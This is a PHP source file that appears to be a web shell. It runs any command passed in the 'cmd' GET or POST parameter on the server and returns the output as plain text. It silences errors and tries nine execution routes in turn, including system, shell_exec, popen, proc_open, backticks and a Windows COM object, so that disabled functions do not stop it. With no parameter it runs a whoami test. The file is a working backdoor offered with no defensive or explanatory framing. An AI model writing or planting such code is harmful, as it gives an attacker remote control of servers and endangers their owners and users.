<?php
header("Content-Type: text/plain");
error_reporting(0);

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');

if($cmd) {
    echo "=== TRYING ALL EXEC METHODS ===\n";
    
    // Method 1: system()
    echo "1. system(): ";
    if(function_exists('system')) {
        system($cmd . " 2>&1");
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 2: shell_exec()
    echo "\n2. shell_exec(): ";
    if(function_exists('shell_exec')) {
        echo shell_exec($cmd . " 2>&1");
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 3: exec()
    echo "\n3. exec(): ";
    if(function_exists('exec')) {
        exec($cmd . " 2>&1", $output);
        echo implode("\n", $output);
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 4: passthru()
    echo "\n4. passthru(): ";
    if(function_exists('passthru')) {
        passthru($cmd . " 2>&1");
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 5: popen()
    echo "\n5. popen(): ";
    if(function_exists('popen')) {
        $handle = popen($cmd . " 2>&1", 'r');
        if($handle) {
            while(!feof($handle)) {
                echo fread($handle, 4096);
            }
            pclose($handle);
        } else {
            echo "FAILED";
        }
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 6: proc_open()
    echo "\n6. proc_open(): ";
    if(function_exists('proc_open')) {
        $descriptorspec = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );
        $process = proc_open($cmd . " 2>&1", $descriptorspec, $pipes);
        if(is_resource($process)) {
            fclose($pipes[0]);
            echo stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        } else {
            echo "FAILED";
        }
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 7: backticks
    echo "\n7. backticks: ";
    $output = `$cmd 2>&1`;
    echo $output ?: "NO_OUTPUT";
    
    // Method 8: pcntl_exec (rare)
    echo "\n8. pcntl_exec test: ";
    if(function_exists('pcntl_exec')) {
        echo "AVAILABLE (but needs fork)";
    } else { echo "NOT_AVAILABLE\n"; }
    
    // Method 9: COM/.NET (Windows)
    echo "\n9. COM/.NET: ";
    if(class_exists('COM')) {
        try {
            $shell = new COM("WScript.Shell");
            $exec = $shell->Exec($cmd);
            echo $exec->StdOut->ReadAll();
        } catch(Exception $e) {
            echo "FAILED: " . $e->getMessage();
        }
    } else { echo "NOT_AVAILABLE\n"; }
    
} else {
    // Default test with all methods
    echo "ALL_EXEC_METHODS_TEST\n";
    $test_cmd = "echo EXEC_TEST_$(whoami 2>/dev/null || echo NO_USER)";
    
    $methods = [
        'system' => function($c) { system($c . " 2>&1"); },
        'shell_exec' => function($c) { echo shell_exec($c . " 2>&1"); },
        'exec' => function($c) { exec($c . " 2>&1", $out); echo implode("\n", $out); },
        'passthru' => function($c) { passthru($c . " 2>&1"); },
        'popen' => function($c) { $h = popen($c . " 2>&1", 'r'); if($h) { while(!feof($h)) echo fread($h, 4096); pclose($h); } },
        'backticks' => function($c) { echo `$c 2>&1`; }
    ];
    
    foreach($methods as $name => $func) {
        if(function_exists($name) || $name == 'backticks') {
            echo "\n$name: ";
            $func($test_cmd);
        }
    }
}
?>